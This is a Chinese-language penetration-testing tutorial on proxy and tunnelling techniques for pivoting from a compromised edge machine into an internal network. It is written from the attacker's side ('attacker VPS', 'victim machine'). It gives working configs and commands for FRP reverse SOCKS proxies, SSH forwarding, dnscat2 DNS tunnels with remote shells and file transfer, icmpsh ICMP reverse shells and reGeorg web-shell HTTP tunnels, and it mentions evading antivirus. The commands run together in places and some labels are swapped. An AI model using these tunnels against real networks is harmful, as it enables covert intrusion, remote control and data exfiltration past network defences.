代理转发隧道技术

前言

一篇对代理转发知识的总结文章。

目录:

0x00名词解释

       -代理和端口转发

       -正向代理和反向代理

0x01隧道使用场景

0x02代理转发隧道选择

0x03常规代理转发隧道

       -FRP隧道

       -EW隧道

       -SSH隧道

       -DNS隧道

       -ICMP隧道

       -HTTP/HTTPS隧道

0x00名词解释

代理:其为中转站,中转数据流量,对应关系为一对多

端口转发:A端口流量转到B端口,A为新开,B为本就存在,对应关系为一对一

正向代理:主动连接,Client去连接Server的行为

反向代理:被动连接,Server去连接Client的行为

0x01隧道使用场景

列举几种真实渗透场景,针对不同场景去选择代理转发隧道

场景一:边界机器存在公网IP,可访问外网;

场景二:边界机器不存在公网IP,可访问外网;

场景三:边界机器不存在公网IP,不可访问外网,80端口网站服务可被外网访问。

0x02代理转发隧道选择

一:代理还是端口转发?

需基于渗透场景去选择,若以边界机器为流量跳板,对内网进行渗透,这时我们需要用到很多渗透工具,若一个个上传渗透工具到边界机器,则太麻烦,顾在这种情况,代理优于端口转发;若只需访问内网某端口,那么代理跟端口转发都可;

二:正向代理还是反向代理?

需基于渗透场景去选择,若边界机器存在公网IP,那么正反代理都可用,若边界机器不存在公网IP,那么只能用反向代理;若边界机器存在防火墙,则一般会拦截主动访问边界机器的流量,这时需要选择反向代理。总的来说,部分场景下正向代理有限制,反向代理都可实现,反向代理优于正向代理。

三:代理转发隧道选择?

主要基于两点:一:出网协议;二:出网端口;根据边界机器支持的出网协议和出网端口来选择到底使用什么代理转发隧道,例如果边界机器协议都支持,那么可以可以自由选择,如果边界机器只支持ICMP协议,那么只能选择ICMP协议做代理转发隧道。

判断边界机器出网协议:

1.ICMPping www.baidu.com2.TCPnc -n IP por3.HTTPcurl IP:port   4.DNSWindwos : nslookup domainLinux : dig domain

0x03代理转发隧道

FRP隧道

简介:反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议,相比于EW更稳定,FRP分服务端和客户端,服务端放攻击者公网VPS,客户端放受害者边界机器,由于是反向代理,顾边界机器需能访问外网,无需有公网IP

Github地址:

后台启动FRP(frps为客户端、fprc为服务端)

nohup ./frps -c ./frps.ini &nohup ./frpc -c ./frpc.ini &

FRP配置

frps.ini[common]#frp服务端监听 [VPS]bind_addr = 0.0.0.0#frp服务器监听端⼝ [实战中可以⽤⼀些通透性较好的端⼝]bind_port = 7007#验证凭据,服务端和客户端的凭据必须⼀样才能连接auth_token = ELQEbOd0JEn#每个代理可以设置的连接池上限max_pool_count = 20#⼝令认证超时时间,⼀般不⽤改authentication_timeout = 900frpc.ini[common]#frp服务端IP或域名 [实战中⼀般都会直接⽤域名]server_addr = VPS-IP#frp服务器端⼝server_port = 7007#授权token,此处必须与服务端保持⼀致,否则⽆法建⽴连接auth_token = ELQEbOd0JEn#启⽤加密 [通信内容加密传输,有效防⽌流量被拦截]use_encryption = true#启⽤压缩 [传输内容进⾏压缩,有效减⼩传输的⽹络流量,加快流量转发速度,但会额外消耗⼀些CPU资源]use_compression = true#内⽹穿透通常⽤socks5[socks5]type = tcp#连接VPS内⽹穿透的远程连接端⼝remote_port = 9066#使⽤插件socks5代理plugin = socks5#socks5连接⼝令 [根据实际情况进⾏配置]plugin_user = bywalksplugin_passwd = bywalksabsdc

若内网为多网段,可用Proxifier加多重代理链或端口转发思路,Proxifier多重代理链配置如下图

Create代理链后,从上方拖动SOCKS5代理到chain-1

配置完后,在Proxification Rules可选用

EW隧道

简介:远古代理转发工具,存在端口转发和SOCKS代理功能,可应对多重代理需求,由于工具太早,杀软都已标记,顾存在杀软时需要免杀才能使用

正向SOCKS5代理

反向SOCKS5代理

正向二级网络环境

反向二级网络环境

若还存在三四级网络环境,通内网的最内层开启SOCKS5代理,其他层做转发

SSH隧道

简介:基于SSH协议的隧道,加密传输,且Linux/Unix和各种设备自带SSH,可用作端口转发和SOCKS代理

SSH协议常用参数

-C压缩传输,提高传输速度-f将SSH传输转入后台运行,不占用当前的shell-N建立静默连接(建立了连接,但看不到具体会话)-g允许远程主机连接本地用于转发的端口-L本地端口转发-R远程端口转发-D动态转发(SOCKS代理)-P指定SSH端口

转发方式:

1:本地转发;

2:远程转发;

3:动态转发;

实验环境

 

本地转发(B有公网IP,正向连接)

在攻击服务器A上执行,访问Aport等于访问Cport

ssh-CfNg -L Aport:CIP:Cport root@BIP

 

远程转发(B没有公网IP,能访问外网,反向连接)

在边界服务器B上执行,访问Aport等于访问Cport

ssh-CfNg -R Aport:CIP:Cport root@AIP

 

动态转发(等于开启代理服务器,B有公网IP,正向代理)

在攻击服务器A上执行,访问Aport等于访问B代理

ssh -CfNg -D Aport root@Bport

DNS隧道

简介:DNS隧道一般来说边界机器都不会禁用,顾当TCP、HTTP等隧道都无法建立的时候可以考虑DNS隧道,建立DNS隧道之前首先要准备公网VPS和域名,这里用dnscat2搭建DNS隧道

准备工作

域名做A和NS解析,以下为西部数码,139.162.46.152为公网VPS的IP

判断解析成功

通过ping判断A解析成功

通过公网VPS主机抓包

tcpdump -n -i eth0 udp dst port 53

其他主机

nslookup dns2tcp.hackby.site

查看公网VPS的抓包情况,若抓到对域名“dns2tcp.hackby.site”进行查询的DNS请求数据包,则说明第二条NS解析设置成功并已生效

DNSCAT2安装(Ubuntu环境)

apt-get install gemapt-get installruby-devapt-get install libpq-devapt-get install ruby-bundlerapt-get install gitgit clone https://github.com/iagox86/dnscat2.gitcd dnscat2/serverbundle initbundle install

启动服务端

ruby ./dnscat2.rb dns2tcp.hackby.site -e open -c--no-cache

启动客户端

linux:git clone https://github.com/iagox86/dnscat2cd dnscat2/client/makewindows:#测试是否能够通信dnscat2-v0.07-client-win32.exe --ping dns2tcp.hackby#连接服务端,secret后为设置的密码dnscat2-v0.07-client-win32.exe --dns domain=dns2tcp.hackby.site --secret=   

客户端返回如下,则建立连接成功

建立连接后,可执行命令

sessions查看会话session -i 1 进入1会话shell打开另一个会话,进入交互模式help查看帮助download下载pingsuspend返回上一层uploadshutdown切断但钱会话quit退出dnscat2控制台kill    切断通道

ICMP隧道

简介:ICMP隧道以icmpsh工具做叙述,攻击机器和受害机器都需要有公网IP,icmpsh的目标主机只能运行于Windows平台,控制端只能运行于Linux平台

#下载程序git clone #服务端禁用:sysctl -w net.ipv4.icmp_echo_ignore_all=1#安装impacketgit clone https://github.com/SecureAuthCorp/impacket.gitcd impacketpython setup.py install#运行程序./run.sh 输入受害主机的公网IP地址 #攻击机器开启监听:./icmpsh_m.py 攻击机器IP 受害机器的公网IP #在受害机器上icmpsh.exe -t 攻击机器ip -d 500 -b 30 -s 128

HTTP隧道

简介:HTTP隧道以reGeory和Neo-reGeory工具做叙述,Neo-reGeory为reGeory的加密流量版本

1:reGeory.py#github地址https://github.com/sensepost/reGeorg#使用方法python reGeorgSocksProxy.py -p 1080 -u http://ip/tunnel.nosocket.php 2:Neo-reGeory.py#github地址https://github.com/L-codes/Neo-reGeorg#生成文件python neoreg.py generate -k test123#使用方法python3 neoreg.py -k test123 -u